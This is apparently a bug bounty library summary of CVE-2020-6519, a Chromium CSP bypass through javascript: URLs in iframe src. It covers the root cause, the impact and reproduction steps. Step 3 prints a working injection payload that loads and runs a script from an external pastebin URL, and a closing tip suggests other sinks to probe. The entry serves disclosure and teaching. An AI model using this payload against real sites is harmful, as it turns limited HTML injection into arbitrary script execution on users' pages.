# CVE-2020-6519 - Chromium 83 Zero Day Full CSP Bypass Cross Platforms

Chromium 73-83 failed to enforce CSP on javascript: URLs in iframe src, letting injected scripts load external code despite strict CSP.

- Payout: $3,000
- Severity: medium
- Program: Google
- Credited: Gal Weizman
- Disclosed: 2022-09-02
- CVE: CVE-2020-6519
- Write-up quality: 7/10
- Original: https://weizman.github.io/2020/09/02/csp-vuln/
- Library page: https://bugbountylibrary.com/r/blog%3Aweizman-github-io-2020-09-02-csp-vuln
- Tags: domain:browser impact:integrity kind:bounty platform:blog sev:medium tech:chromium technique:source-review vuln:misconfiguration vuln:xss

**Target:** Chromium browser CSP enforcement (iframe javascript: URL)
**Root cause:** Chromium did not apply the page's Content Security Policy to script execution triggered via a javascript: URL used as an iframe's src, so script-src restrictions were skipped.
**Steps:**
1. Set `top._CVE_URL = 'https://pastebin.com/raw/dw5cWGK6'`.
2. Confirm direct `document.createElement('script'); s.src=top._CVE_URL` is blocked by CSP.
3. Inject `<iframe src='javascript:var s=document.createElement("script");s.src="https://pastebin.com/raw/dw5cWGK6";document.body.appendChild(s);'></iframe>` into a DIV via innerHTML.
4. Observe the external script loads and executes despite CSP.
**How found:** Researcher tested CSP enforcement by comparing a normal script injection (blocked) against the same payload delivered through a javascript: iframe src, noticing the latter executed despite CSP; built a devtools snippet to test sites for the bypass.
**Exploitation:** Attacker who can inject HTML into a CSP-protected page (e.g. via XSS) inserts an iframe whose src is a javascript: URL; the browser executes it without CSP checks, which then loads and runs an arbitrary external script, fully defeating script-src.
**Escalation:** Turns a constrained XSS/injection into full arbitrary script execution on sites relying on CSP, affecting billions of users across Chrome, Edge, Opera on Windows/Mac/Android.
**Insight:** CSP enforcement can differ per navigation/execution context: test the same payload through alternate sinks like javascript: URLs in iframe src, srcdoc, or event handlers, since policy checks may be skipped on those code paths.